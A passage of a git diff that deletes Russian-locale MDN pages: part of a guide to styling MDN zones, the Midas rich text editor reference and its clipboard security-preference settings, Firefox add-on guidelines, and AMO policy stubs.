-<p>Как правило, вы захотите, чтобы эти области имели одинаковый цвет; и в самом деле, шапки статьи и целевой страницы должны быть одинаковыми. Единственной причиной, по которой вы могли бы настроить их по разному, является наличие градиентов и необходимость подогнать их цвет к некоторому «общему знаменателю», несмотря на различие по высоте.</p>
-
-<p><strong>Короче говоря:</strong> замените <strong><em>цвет-зоны</em></strong> в кусочке CSS, предоставленном выше, на {{cssxref("&lt;color&gt;")}}, который вы выбрали для вашей зоны.</p>
-
-<h4 id="Landing_page_header_image" name="Landing_page_header_image">Изображение в шапке целевой страницы</h4>
-
-<p>Также вы можете захотеть изменить изображение, представляющее вашу зону на целевой странице зоны. Эта страница имеет большую шапку для большого изображения, представляющего вашу зону. CSS выглядит так:</p>
-
-<pre class="brush: css">.zone .zone-landing-header .zone-image {
- background-image: url(<strong><em>url-изображения-зоны</em></strong>);
-}
-</pre>
-
-<p>Класс <code>zone-image</code> используется для определения и стилизации изображения в шапке целевой страницы вашей зоны. Изображение должно быть не более 468 пикселей в ширину, хотя вы и можете изменить это здесь же с помощью дополнительного CSS. Просто замените <strong><em>url-изображения-зоны</em></strong> на URL используемого вами изображения.</p>
-
-<div class="note">
-<p><strong>Примечание:</strong> простейшим способом предоставить изображение является прикрепление его к соответствующей странице на MDN и использования получившегося URL.</p>
-</div>
-
-<h4 id="Article_page_header_image" name="Article_page_header_image">Изображение в шапке страницы статьи</h4>
-
-<p>Кроме того, вы должны установить изображение, представляющее вашу зону на дочерних страницах. По умолчанию, это изображение ограничено 200 пикселями в ширину и 400 пикселям ив высоту, но, опять же, это может быть изменено.</p>
-
-<pre class="brush: css">.zone .zone-article-header .zone-image {
- background-image: url(<strong><em>url-изображения-зоны</em></strong>);
-}
-</pre>
-
-<p>Просто замените <strong><em>url-изображения-зоны</em></strong> на URL используемого вами изображения.</p>
-
-<div class="note">
-<p><strong>Примечание:</strong> простейшим способом предоставить изображение является прикрепление его к соответствующей странице на MDN и использования получившегося URL. Вы можете использовать тоже самое изображение что и в шапке целевой страницы, просто отмасштабировав и обрезав его, либо использовать другое изображение.</p>
-</div>
-
-<h4 id="Header_button_bottom_border" name="Header_button_bottom_border">Нижняя граница кнопки в шапке</h4>
-
-<p>Последнее, что мы рекомендуем вам поменять, — это внешний вид нижней границы кнопок в шапке зоны. Вот CSS:</p>
-
-<pre class="brush: css">.zone .zone-landing-header a.button {
- box-shadow: inset 0 -1px <strong><em>цвет</em></strong>;
-}
-</pre>
-
-<p>Здесь замените <strong><em>цвет</em></strong> на {{cssxref("&lt;color&gt;")}} того же оттенка, что и фоновый, но чуточку темнее.</p>
-
-<h2 id="Zone_navigation" name="Zone_navigation">Навигация по зоне</h2>
-
-<h3 id="Zone_navigation_sidebar" name="Zone_navigation_sidebar">Боковая панель навигации по зоне</h3>
-
-<p>Боковая панель, появляющаяся на каждой странице зоны, определяется в содержимом целевой страницы зоны, в разделе с названием «Subnav» (виден только при редактировании страницы). Этот раздел может содержать вручную составленный куратором список страниц, либо использовать макрос, например {{TemplateLink("ListSubpages")}}. В последнем случае вам нужно будет <a href="/ru/docs/MDN/Kuma/Introduction_to_KumaScript#Caching">принудительно перезагрузить</a> (обновление с шифтом) целевую страницу зоны, чтобы увидеть изменения в боковой панели.</p>
-
-<div class="note">
-<p><strong>Примечание переводчика:</strong> Раздел «Subnav» не обязательно должен так называться, достаточно проставить атрибут <code>id="Subnav"</code> у заголовка. Однако, редактор MDN принудительно сбрасывает идентификатор в название раздела при сохранении страницы. Чтобы он этого не делал, достаточно добавить к заголовку атрибут <code>name="Subnav"</code>, в этом случае в качестве идентификатора будет использоваться значение этого атрибута.</p>
-</div>
-
-<h3 id="Quicklinks" name="Quicklinks">Быстрые ссылки</h3>
-
-<p>Как и любая другая страница на MDN, страницы внутри зоны могут использовать возможность <a href="/ru/docs/MDN/Contribute/Content/Quicklinks">быстрых ссылок</a>. Быстрые ссылки — это навигационный блок, расположенный в левой боковой панели, предлагающий пользователю ссылки на сопутствующие материалы. Эти ссылки могут вести внутрь MDN или на внешние сайты и могут иметь до двух уровней вложенности.</p>
-
-<p>Чтобы облегчить создание наиболее распространённых типов быстрых ссылок для зон, мы написали несколько макросов, которые вы также можете использовать.</p>
-
-<h4 id="QuickLinksWithSubpages" name="QuickLinksWithSubpages">Макрос <code>QuickLinksWithSubpages</code></h4>
-
-<p>Макрос {{TemplateLink("QuickLinksWithSubpages")}} создаёт весь требуемый HTML для блока быстрых ссылок на странице со ссылками на страницы в указанной иерархии. Вы также можете использовать его без параметров для генерирования быстрых ссылок на дочерние страницы текущей страницы, хотя это не так полезно в зоне, поскольку навигация по зоне, как правило, уже предоставляет эти ссылки.</p>
-
-<h2 id="Zone_style_guide" name="Zone_style_guide">Руководство по оформлению зон</h2>
-
-<h2 id="Notes" name="Notes">Примечания</h2>
-
-<p>В этом разделе содержатся примечания, которые следует иметь в виду при создании зон и работе с ними.</p>
-
-<ul>
- <li>Каждая страница в зоне автоматически наследует боковую панель навигации, предоставляемую корневой страницей зоны.</li>
- <li>Если страница в зоне имеет раздел быстрых ссылок, быстрые ссылки отображаются под навигацией по зоне в боковой панели. Отключение быстрых ссылок отключает как быстрые ссылки, так и панель навигации, оставляя больше пространства под содержимое страницы.</li>
-</ul>
diff --git a/files/ru/midas/index.html b/files/ru/midas/index.html
deleted file mode 100644
index 547ad3f550..0000000000
--- a/files/ru/midas/index.html
+++ /dev/null
@@ -1,328 +0,0 @@
----
-title: Midas
-slug: Midas
-tags:
- - DOM
- - Midas
- - NeedsContent
- - NeedsHelp
- - NeedsTechnicalReview
- - NeedsTranslation
- - TopicStub
- - needsattention
-translation_of: Mozilla/Projects/Midas
----
-<h2 id="Introduction" name="Introduction">Introduction</h2>
-
-<p>Midas is the code name for Gecko's built-in rich text editor. Midas can be enabled via JavaScript on an HTML document. When Midas is enabled, the document becomes editable by the user. Scripting for Midas is based on the <a href="http://msdn.microsoft.com/en-us/library/ms533049.aspx">DHTML commands</a> supported by Internet Explorer. Internet Explorer supports the ability to make an entire document editable by setting the <code>designMode</code> property of the {{domxref("document")}} object; this is how Midas is invoked in Gecko. Internet Explorer also supports the ability to edit specific elements using the <code>contentEditable</code> attribute; Starting with Firefox 3, Gecko also supports <code>contentEditable</code>. Once Midas is invoked, a few more methods of the <code>document</code> object become available.</p>
-
-<h2 id="Properties" name="Properties">Properties</h2>
-
-<dl>
- <dt><a href="/en-US/docs/Midas/designMode">document.designMode</a></dt>
- <dd>By setting this property to "on", the document becomes editable.</dd>
-</dl>
-
-<h2 id="Notes" name="Notes">Notes</h2>
-
-<p>Since an entire document becomes editable, authors often load the editable document into an <code>IFRAME</code> and do the bulk of the scripting in the parent document. According to <a href="http://www.w3.org/TR/2003/REC-DOM-Level-2-HTML-20030109/html.html#ID-50708718">standards</a>, The <code>IFRAME</code> element has the <code>contentDocument</code> property that refers to the document in the inline frame. It also has a property called <code>contentWindow</code> that refers to the window object inside the inline frame. This also avoids problems with {{bug(198155)}}.</p>
-
-<p>In addition to the built-in commands, advanced editing can be done by manipulating the {{domxref("Selection")}} and {{domxref("range")}} objects. It is beneficial to be familiar with these objects when working with an editable document.</p>
-
-<h2 id="Examples" name="Examples">Examples</h2>
-
-<p>This example shows the basic structure described in the Notes section :</p>
-
-<pre>&lt;html&gt;
- &lt;head&gt;
- &lt;title&gt;Simple Edit Box&lt;/title&gt;
- &lt;/head&gt;
- &lt;body&gt;
- &lt;iframe
- id="MidasForm"
- src="about:blank"
- onload="this.contentDocument.designMode='on';"
- &gt;&lt;/iframe&gt;
- &lt;/body&gt;
-&lt;/html&gt;
-</pre>
-
-<h2 id="Methods" name="Methods">Methods</h2>
-
-<dl>
- <dt>{{domxref("Document.execCommand")}}</dt>
- <dd>Executes the given command.</dd>
- <dt>{{domxref("Document.queryCommandEnabled")}}</dt>
- <dd>Determines whether the given command can be executed on the document in its current state.</dd>
- <dt>{{domxref("Document.queryCommandIndeterm")}}</dt>
- <dd>Determines whether the current selection is in an indetermined state.</dd>
- <dt>{{domxref("Document.queryCommandState")}}</dt>
- <dd>Determines whether the given command has been executed on the current selection.</dd>
- <dt>{{domxref("Document.queryCommandValue")}}</dt>
- <dd>Determines the current value of the document, range, or current selection for the given command.</dd>
-</dl>
-
-<h2 id="Supported_Commands" name="Supported_Commands">Supported Commands</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Command</td>
- <td class="header">Value</td>
- <td class="header">Description</td>
- </tr>
- <tr>
- <td>backcolor</td>
- <td>A color code.</td>
- <td>This command will set the background color of the document.</td>
- </tr>
- <tr>
- <td>bold</td>
- <td> </td>
- <td>If there is no selection, the insertion point will set bold for subsequently typed characters.
- <p>If there is a selection and all of the characters are already bold, the bold will be removed. Otherwise, all selected characters will become bold.</p>
- </td>
- </tr>
- <tr>
- <td>contentReadOnly</td>
- <td> </td>
- <td>This command will make the editor readonly(true)or editable(false). Anticipated usage is for temporarily disabling input while something else is occurring elsewhere in the web page.</td>
- </tr>
- <tr>
- <td>copy</td>
- <td> </td>
- <td>If there is a selection, this command will copy the selection to the clipboard. If there isn't a selection, nothing will happen.
- <p>note: this command won't work without setting a pref or using signed JS. See: <a href="http://www.mozilla.org/editor/midasdemo/securityprefs.html">more about security preferences</a></p>
-
- <p>note: the shortcut key will automatically trigger this command (typically accel-C) with or without the signed JS or any code on the page to handle it.</p>
- </td>
- </tr>
- <tr>
- <td>createlink</td>
- <td>A URI.</td>
- <td>This command will not do anything if no selection is made. If there is a selection, a link will be inserted around the selection with the url parameter as the href of the link.</td>
- </tr>
- <tr>
- <td>cut</td>
- <td> </td>
- <td>If there is a selection, this command will copy the selection to the clipboard and remove the selection from the edit control. If there isn't a selection, nothing will happen.
- <p>note: this command won't work without setting a pref or using signed JS. See: <a href="http://www.mozilla.org/editor/midasdemo/securityprefs.html">more about security preferences</a></p>
-
- <p>note: the shortcut key will automatically trigger this command (typically accel-X) with or without the signed JS or any code on the page to handle it.</p>
- </td>
- </tr>
- <tr>
- <td>decreasefontsize</td>
- <td> </td>
- <td>This command will add a &lt;small&gt; tag around selection or at insertion point.</td>
- </tr>
- <tr>
- <td>delete</td>
- <td> </td>
- <td>This command will delete all text and objects that are selected. If no text is selected it deletes one character to the right. This is similar to the <em>Delete</em> button on the keyboard.</td>
- </tr>
- <tr>
- <td>fontname</td>
- <td>A font name</td>
- <td>This command will set the font face for a selection or at the insertion point if there is no selection.
- <p>The given string is such as would be used in the "face" attribute of the font tag, i.e., a comma-separated list of font names.</p>
- </td>
- </tr>
- <tr>
- <td>fontsize</td>
- <td>A number</td>
- <td>This command will set the fontsize for a selection or at the insertion point if there is no selection.
- <p>The given number is such as would be used in the "size" attribute of the font tag.</p>
- </td>
- </tr>
- <tr>
- <td>forecolor</td>
- <td>A color code</td>
- <td>This command will set the text color of the selection or at the insertion point.</td>
- </tr>
- <tr>
- <td>formatblock</td>
- <td>H1, H2, H3, H4, H5, H6, P, DIV, ADDRESS, BLOCKQUOTE (more?)</td>
- <td>The selection surrounded by the given block element.</td>
- </tr>
- <tr>
- <td>heading</td>
- <td>H1, H2, H3, H4, H5, H6</td>
- <td>Selected block will be formatted as the given type of heading.</td>
- </tr>
- <tr>
- <td>hilitecolor</td>
- <td>A color code</td>
- <td>This command will set the hilite color of the selection or at the insertion point. It only works with styleWithCSS enabled.</td>
- </tr>
- <tr>
- <td>increasefontsize</td>
- <td> </td>
- <td>This command will add a &lt;big&gt; tag around selection or at insertion point.</td>
- </tr>
- <tr>
- <td>indent</td>
- <td> </td>
- <td>Indent the block where the caret is located. If the caret is inside a list, that item becomes a sub-item one level deeper.</td>
- </tr>
- <tr>
- <td>insertbronreturn</td>
- <td>true/false</td>
- <td>Selects whether pressing return inside a paragraph creates another paragraph or just inserts a &lt;br&gt; tag.</td>
- </tr>
- <tr>
- <td>inserthorizontalrule</td>
- <td>null/string (when string is the Line's id)</td>
- <td>This command will insert a horizontal rule (line) at the insertion point.
- <p>Does it delete the selection? Yes!</p>
- </td>
- </tr>
- <tr>
- <td>inserthtml</td>
- <td>A string.</td>
- <td>This command will insert the given html into the &lt;body&gt; in place of the current selection or at the caret location.
- <p>The given string is the HTML to insert.</p>
- </td>
- </tr>
- <tr>
- <td>insertimage</td>
- <td>A URI.</td>
- <td>This command will insert an image (referenced by the given url) at the insertion point.</td>
- </tr>
- <tr>
- <td>insertorderedlist</td>
- <td> </td>
- <td>Depends on the selection. If the caret is not inside a non-LI block, that block becomes the first LI and an OL. If the caret is inside a bulleted item, the bulleted item becomes a numbered item.</td>
- </tr>
- <tr>
- <td>insertunorderedlist</td>
- <td> </td>
- <td>Depends on the selection. If the caret is not inside a non-LI block, that block becomes the first LI and UL. If the caret is inside a numbered item, the numbered item becomes a bulleted item.</td>
- </tr>
- <tr>
- <td>insertparagraph</td>
- <td> </td>
- <td>Inserts a new paragraph.</td>
- </tr>
- <tr>
- <td>italic</td>
- <td> </td>
- <td>If there is no selection, the insertion point will set italic for subsequently typed characters.
- <p>If there is a selection and all of the characters are already italic, the italic will be removed. Otherwise, all selected characters will become italic.</p>
- </td>
- </tr>
- <tr>
- <td>justifycenter</td>
- <td> </td>
- <td>Center-aligns the current block.</td>
- </tr>
- <tr>
- <td>justifyfull</td>
- <td> </td>
- <td>Fully-justifies the current block.</td>
- </tr>
- <tr>
- <td>justifyleft</td>
- <td> </td>
- <td>Left-aligns the current block.</td>
- </tr>
- <tr>
- <td>justifyright</td>
- <td> </td>
- <td>Right aligns the current block.</td>
- </tr>
- <tr>
- <td>outdent</td>
- <td> </td>
- <td>Outdent the block where the caret is located. If the block is not indented prior to calling outdent, nothing will happen.
- <p>If the caret is in a list item, the item will bump up a level in the list or break out of the list entirely.</p>
- </td>
- </tr>
- <tr>
- <td>paste</td>
- <td> </td>
- <td>This command will paste the contents of the clipboard at the location of the caret. If there is a selection, it will be deleted prior to the insertion of the clipboard's contents.
- <p>note: this command won't work without setting a pref or using signed JS. user_pref("capability.policy.policynames", "allowclipboard"); user_pref("capability.policy.allowclipboard.Clipboard.paste", "allAccess"); See: <a href="http://www.mozilla.org/editor/midasdemo/securityprefs.html">more about security preferences</a></p>
-
- <p>note: the shortcut key will automatically trigger this command (typically accel-V) with or without the signed JS or any code on the page to handle it.</p>
- </td>
- </tr>
- <tr>
- <td>redo</td>
- <td> </td>
- <td>This command will redo the previous undo action. If undo was not the most recent action, this command will have no effect.
- <p>note: the shortcut key will automatically trigger this command (typically accel-shift-Z)</p>
- </td>
- </tr>
- <tr>
- <td>removeformat</td>
- <td> </td>
- <td>Removes inline formatting from the current selection.</td>
- </tr>
- <tr>
- <td>selectall</td>
- <td> </td>
- <td>This command will select all of the contents within the editable area.
- <p>note: the shortcut key will automatically trigger this command (typically accel-A)</p>
- </td>
- </tr>
- <tr>
- <td>strikethrough</td>
- <td> </td>
- <td>If there is no selection, the insertion point will set strikethrough for subsequently typed characters.
- <p>If there is a selection and all of the characters are already striked, the strikethrough will be removed. Otherwise, all selected characters will have a line drawn through them.</p>
- </td>
- </tr>
- <tr>
- <td>styleWithCSS</td>
- <td> </td>
- <td>This command is used for toggling the format of generated content. By default (at least today), this is true. An example of the differences is that the "bold" command will generate &lt;b&gt; if the styleWithCSS command is false and generate css style attribute if the styleWithCSS command is true.</td>
- </tr>
- <tr>
- <td>subscript</td>
- <td> </td>
- <td>If there is no selection, the insertion point will set subscript for subsequently typed characters.
- <p>If there is a selection and all of the characters are already subscripted, the subscript will be removed. Otherwise, all selected characters will be drawn slightly lower than normal text.</p>
- </td>
- </tr>
- <tr>
- <td>superscript</td>
- <td> </td>
- <td>If there is no selection, the insertion point will set superscript for subsequently typed characters.
- <p>If there is a selection and all of the characters are already superscripted, the superscript will be removed. Otherwise, all selected characters will be drawn slightly higher than normal text.</p>
- </td>
- </tr>
- <tr>
- <td>underline</td>
- <td> </td>
- <td>If there is no selection, the insertion point will set underline for subsequently typed characters.
- <p>If there is a selection and all of the characters are already underlined, the underline will be removed. Otherwise, all selected characters will become underlined.</p>
- </td>
- </tr>
- <tr>
- <td>undo</td>
- <td> </td>
- <td>This command will undo the previous action. If no action has occurred in the document, then this command will have no effect.
- <p>note: the shortcut key will automatically trigger this command (typically accel-Z)</p>
- </td>
- </tr>
- <tr>
- <td>unlink</td>
- <td> </td>
- <td>If the insertion point is within a link or if the current selection contains a link, the link will be removed and the text will remain.</td>
- </tr>
- <tr>
- <td colspan="3">{{Deprecated_header}}</td>
- </tr>
- <tr>
- <td>readonly</td>
- <td> </td>
- <td>This command has been replaced with contentReadOnly. It takes the same values as contentReadOnly, but the meaning of true and false are inversed.</td>
- </tr>
- <tr>
- <td>useCSS</td>
- <td> </td>
- <td>This command has been replaced with styleWithCSS. It takes the same values as styleWithCSS, but the meaning of true and false are inversed.</td>
- </tr>
- </tbody>
-</table>
diff --git a/files/ru/midas/security_preferences/index.html b/files/ru/midas/security_preferences/index.html
deleted file mode 100644
index 2b1269872c..0000000000
--- a/files/ru/midas/security_preferences/index.html
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: Security preferences
-slug: Midas/Security_preferences
-translation_of: Mozilla/Projects/Midas/Security_preferences
----
-<p>To protect users' private information, unprivileged scripts cannot invoke the Cut, Copy, and Paste commands in the Mozilla rich text editor, so the corresponding buttons on the Mozilla Rich Text Editing demo page will not work. To enable these functions for purposes of the demo, you must modify your browser preferences.</p>
-
-<p>For Firefox:</p>
-
-<ol>
- <li>Quit Firefox. If you have Quick Launch running (in Windows, an icon in the toolbar), quit that too.</li>
- <li><a class="external" href="http://support.mozilla.com/en-US/kb/Profiles">Find your Firefox profile directory</a>.</li>
- <li>Open the <code class="filename">user.js</code> file from that directory in a text editor. If there's no user.js file, create one.</li>
- <li>Add these lines to <code class="filename">user.js</code>:
- <pre class="code"><span class="diff_sub">user_pref("capability.policy.policynames", "allowclipboard");
-</span><span class="diff_sub">user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org</span><span class="diff_sub">");
-</span><span class="diff_sub">user_pref("capability.policy.allowclipboard.Clipboard.cutcopy", "</span><span class="diff_sub">allAccess");</span>
-<span class="diff_sub">user_pref("capability.policy.allowclipboard.Clipboard.paste", "al</span><span class="diff_sub">lAccess");</span></pre>
- </li>
- <li>Change the url <span class="external"><code class="url">https://www.mozilla.org</code></span> to the site for which you want to enable this function.</li>
- <li>Save the file, and restart Firefox. The Clipboard buttons should now function.</li>
-</ol>
-
-<div class="note"><strong>Note:</strong> The preference is site as well as protocol specific. For example:
-
-<pre>user_pref("capability.policy.allowclipboard.sites", "http://www.mozilla.org")</pre>
-
-<p>is not the same as:</p>
-
-<pre>user_pref("capability.policy.allowclipboard.sites", "https://www.mozilla.org")</pre>
-
-<p>This is because the first uses HTTP while the second uses HTTPS.</p>
-</div>
-
-<p>If you want to allow multiple URLs to access the Paste operation, separate the URLs with a space. For example:</p>
-
-<pre>user_pref("capability.policy.allowclipboard.sites",
- "https://www.mozilla.org https://developer.mozilla.org")
-</pre>
-
-<dl>
- <dt>For more information about security policies, see <a class="external" href="http://www.mozilla.org/projects/security/components/ConfigPolicy.html">http://www.mozilla.org/projects/security/components/ConfigPolicy.html</a>.</dt>
-</dl>
-
-<p> </p>
-
-<ul>
-</ul>
diff --git a/files/ru/mozilla/add-ons/add-on_guidelines/index.html b/files/ru/mozilla/add-ons/add-on_guidelines/index.html
deleted file mode 100644
index 5be041195c..0000000000
--- a/files/ru/mozilla/add-ons/add-on_guidelines/index.html
+++ /dev/null
@@ -1,121 +0,0 @@
----
-title: Add-on guidelines
-slug: Mozilla/Add-ons/Add-on_guidelines
-translation_of: 'https://extensionworkshop.com/documentation/publish/add-on-policies/'
----
-<p>These add-on guidelines were created to foster an open and diverse add-on developer community while ensuring an excellent user experience. They apply to all add-ons and add-on updates regardless of where they are hosted, and also apply to customizations performed by installers that configure Firefox without using an add-on. Add-ons hosted on <a class="external text" href="https://addons.mozilla.org/" rel="nofollow">AMO</a> are subject to <a href="https://addons.mozilla.org/developers/docs/policies" title="https://addons.mozilla.org/developers/docs/policies">additional policies</a>.</p>
-
-<h2 id="Be_Transparent">Be Transparent</h2>
-
-<ul>
- <li>Add-ons must either be installed using the add-on web install system, or be approved by the user using the <a class="external text" href="https://blog.mozilla.org/addons/2011/08/11/strengthening-user-control-of-add-ons/" rel="nofollow">install opt-in dialog</a>.
-
- <ul>
- <li>We want our users to know what they are installing so that they are not unpleasantly surprised by changes they did not expect. We also want them to know what to remove if they decide not to keep it.</li>
- <li>Add-ons installed through application installers should <a class="external text" href="/en-US/docs/Adding_Extensions_using_the_Windows_Registry" rel="nofollow">use the Windows Registry</a> or equivalent global install methods so that Firefox displays the opt-in screen. The opt-in screen must not be tampered with in any way, including overlaying additional information or images on top of it.</li>
- </ul>
- </li>
- <li>Add-ons must always be possible to uninstall or disable from the Add-ons Manager.
- <ul>
- <li>Add-ons installed globally using the Windows registry or global extension directories cannot be uninstalled (<a class="external text" href="https://bugzilla.mozilla.org/show_bug.cgi?id=640775" rel="nofollow">bug 640775</a>), but they can be disabled to the same effect.</li>
- </ul>
- </li>
- <li>Add-ons must use a <a class="external text" href="/en-US/docs/Install_manifests#id" rel="nofollow">single unique ID</a> during their entire lifetime.
- <ul>
- <li>Using the same ID for multiple products, or multiple IDs for a single product, can lead to problems with automatic updates as well as blocklisting conflicts. Add-ons may change their IDs due to ownership changes, as they commonly use an email address-like format (<em>e.g.,</em> personasplus@mozilla.com).</li>
- </ul>
- </li>
- <li>Add-ons must not use brand names, trademarks, or other terms in ways that deceive users. Using Mozilla trademarks must follow <a class="external text" href="http://www.mozilla.org/foundation/trademarks/policy.html" rel="nofollow">our trademark policy</a>.</li>
- <li>Add-ons should clearly communicate their intended purpose and active features, including features introduced through updates.
- <ul>
- <li>While we understand and support add-on developers who choose to monetize their products, this should not come at the expense of users' browsing experience. If an add-on inserts advertisements, affiliate codes, sponsored search results, or the like, into web pages, the user should be made aware of this when the add-on is installed. Likewise, if some features require payment to use, or require payment to remain active after a trial period, users should be made aware of this.</li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Be_Respectful_to_Users">Be Respectful to Users</h2>
-
-<ul>
- <li>Add-ons must remove all introduced code, executables, and application configuration changes when they are uninstalled.
- <ul>
- <li>Uninstalling an add-on using the regular uninstall process should generally suffice. This guideline primarily applies to changes made to preferences such as the homepage, default search URL, network settings, and so forth. These preferences should be restored to their previous values when the add-on is uninstalled. Most add-ons can easily accomplish this by making such changes via a <a class="external text" href="/en-US/docs/Building_an_Extension#Defaults_Files" rel="nofollow">default preferences file</a>.</li>
- </ul>
- </li>
- <li>Add-ons should respect the users' choices and not make unexpected changes, or limit users' ability to revert them.
- <ul>
- <li>For instance, users generally do not expect an add-on to change the Firefox homepage. Asking users to opt-in to such extra changes is recommended. Making them difficult or impossible to revert is strongly discouraged.</li>
- </ul>
- </li>
- <li>Add-ons should make it clear how private user data is being used.
- <ul>
- <li>Add-ons which send user data over the Internet should generally provide a Privacy Policy, ideally concise and easily readable.</li>
- </ul>
- </li>
- <li>Add-on developers should provide a mechanism for them to be contacted.
- <ul>
- <li>While developers are not required to provide a support channel for users, it is recommended. All add-on developers should have a contact form or public email address so that they can be contacted in case of emergencies, such as guideline violations that could lead to blocklisting.</li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Be_Safe">Be Safe</h2>
-
-<ul>
- <li>Add-ons must not cause harm to users' data, system, or online identities.</li>
- <li>Add-ons must not transmit users' private data unsafely, or expose it to third parties unnecessarily.
- <ul>
- <li>Private data should always be sent over a secure connection. This includes browsing data such as visited URLs and bookmarks.</li>
- <li>Making the browser easier to fingerprint by adding text to the User-Agent string or adding custom headers is also a privacy concern, and should be avoided.</li>
- </ul>
- </li>
- <li>Add-ons must not create or expose application or system vulnerabilities.
- <ul>
- <li>Security bugs happen, but once discovered they need to be addressed immediately. A popular add-on with a security vulnerability is a valuable attack vector for hackers, and in such cases we will move quickly to blocklist the add-on if there is no prompt response from the developer.</li>
- </ul>
- </li>
- <li>Add-ons must not tamper with the application or blocklist update systems.</li>
- <li>Add-ons should not store any browsing data while in Private Browsing Mode.
- <ul>
- <li>It's worth stressing that PBM is about avoiding storing<em>local</em> data while browsing, not about sending data elsewhere. To learn more about PBM we recommend reading <a class="external text" href="http://ehsanakhgari.org/tag/privatebrowsing" rel="nofollow">Ehsan's blog posts</a> about it.</li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Be_Stable">Be Stable</h2>
-
-<ul>
- <li>Add-ons must not cause hangs or crashes.</li>
- <li>Add-ons should not break or disable core application features.
- <ul>
- <li>This includes features like tabbed browsing, Private Browsing Mode, and the location bar. Add-ons that are specifically meant to do this are exempt.</li>
- </ul>
- </li>
- <li>Add-ons should not cause memory leaks, or unnecessarily consume large amounts of memory.</li>
- <li>Add-ons should not slow down the application or system significantly.</li>
- <li>Add-ons should not consume network resources to an extent that affects regular application usage.
- <ul>
- <li>Downloading large amounts of data without user awareness can significantly disrupt regular browsing, and may result in unexpected charges for users who have network usage limitations (notably on mobile).</li>
- </ul>
- </li>
-</ul>
-
-<h2 id="Exceptions">Exceptions</h2>
-
-<ul>
- <li>Add-ons can break some of these guidelines if that's their intended purpose and there isn't malicious intent (<em>e.g.,</em> a security exploit proof of concept).</li>
- <li>Add-ons deployed by administrators within workplaces, schools, kiosks, and so forth, are exempt from most guidelines.</li>
- <li>As add-ons can only run clean up code if they are uninstalled while Firefox is running and they are enabled, we do not require that they attempt to clean up after themselves when they are uninstalled under other circumstances. Application installers that configure Firefox without add-ons should revert any changes when uninstalled.</li>
- <li>Add-ons may leave behind preferences changes in private preference branches which do not affect Firefox when the add-on is not active, so that any previous add-on configuration is not lost if the user decides to re-install the add-on in the future.</li>
-</ul>
-
-<p>Other exceptions may apply.</p>
-
-<h2 id="Enforcement">Enforcement</h2>
-
-<p>Add-ons that do not follow these guidelines may qualify for blocklisting, depending on the extent of the violations. Guidelines qualified with the word<em>must</em> are especially important, and violations thereof will most likely result in a blocklisting nomination.</p>
-
-<p>The Add-ons Team will do their best to contact the add-on's developers and provide a reasonable time frame for the problems to be corrected before a block is put in place. If an add-on is considered malicious or its developers have proven unreachable or unresponsive, or in case of repeat violations, blocklisting may be immediate.</p>
-
-<p>Guideline violations should be <a class="external text" href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Tech%20Evangelism&amp;component=Add-ons" rel="nofollow">reported via Bugzilla</a>, under Tech Evangelism &gt; Add-ons. Questions can be posted in the <a class="external text" href="irc://irc.mozilla.org/addons" rel="nofollow">#addons IRC channel</a>.</p>
-
-<p>These guidelines may change in the future. All updates will be announced in the <a class="external text" href="https://blog.mozilla.org/addons/" rel="nofollow">Add-ons Blog</a>.</p>
diff --git a/files/ru/mozilla/add-ons/amo/index.html b/files/ru/mozilla/add-ons/amo/index.html
deleted file mode 100644
index 0845e54e3d..0000000000
--- a/files/ru/mozilla/add-ons/amo/index.html
+++ /dev/null
@@ -1,11 +0,0 @@
----
-title: AMO
-slug: Mozilla/Add-ons/AMO
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Mozilla/Add-ons/AMO
----
-<p>{{AddonSidebar}}</p>
-
-<p>Content to be added.</p>
diff --git a/files/ru/mozilla/add-ons/amo/policy/index.html b/files/ru/mozilla/add-ons/amo/policy/index.html
deleted file mode 100644
index 7baca9debb..0000000000
--- a/files/ru/mozilla/add-ons/amo/policy/index.html
+++ /dev/null
@@ -1,22 +0,0 @@
----
-title: AMO Policies
-slug: Mozilla/Add-ons/AMO/Policy
-tags:
- - NeedsTranslation
- - TopicStub
-translation_of: Mozilla/Add-ons/AMO/Policy
----
-<p>{{AddonSidebar}}</p>
-
-<p>Mozilla стремится обеспечить отличный опыт для наших пользователей и разработчиков надстроек. Перед отправкой своего дополнения ознакомьтесь с приведенными ниже правилами.</p>
-
-
-<dl>
- <dd></dd><dt><a href="/Mozilla/Add-ons/AMO/Policy/Agreement">Пакт о разработке</a></dt>
-<dd>Effective January 5, 2016</dd> <dt><a href="/Mozilla/Add-ons/AMO/Policy/Reviews">Обзор процесса</a></dt>
-<dd>Add-ons extend the core capabilities of Firefox, allowing users to modify and personalize their Web experience. A healthy add-on ecosystem, built on trust, is vital for developers to be successful and users to feel safe making Firefox their own. For these reasons, Mozilla requires all add-ons to comply with the following set of policies on acceptable practices. The below is not intended to serve as legal advice, nor is it intended to serve as a comprehensive list of terms to include in your add-on’s privacy policy.</dd> <dt><a href="/Mozilla/Add-ons/AMO/Policy/Featured">Избранные дополнения</a></dt>
-<dd>How up-and-coming add-ons become featured and what's involved in the process. </dd> <dt><a href="/Mozilla/Add-ons/AMO/Policy/Contact">Связаться с нами</a></dt>
-<dd>Add-ons allow developers to extend and modify the functionality of Firefox.</dd> <br>
- <strong><a href="https://developer.mozilla.org/en-US/Add-ons#Contact_us">Связаться с нами </a></strong><br>
- Как связаться с нами в отношении этих политик или вашего дополнения.
-</dl>
diff --git a/files/ru/mozilla/add-ons/code_snippets/index.html b/files/ru/mozilla/add-ons/code_snippets/index.html
deleted file mode 100644
index d7e42cd381..0000000000
--- a/files/ru/mozilla/add-ons/code_snippets/index.html
+++ /dev/null
@@ -1,148 +0,0 @@
----
-title: Code snippets
-slug: Mozilla/Add-ons/Code_snippets
-tags:
- - Add-ons
- - Code snippets
- - Extensions
- - NeedsTranslation
- - TopicStub
-translation_of: Archive/Add-ons/Code_snippets
----
-<p> </p>
-
-<div class="warning">
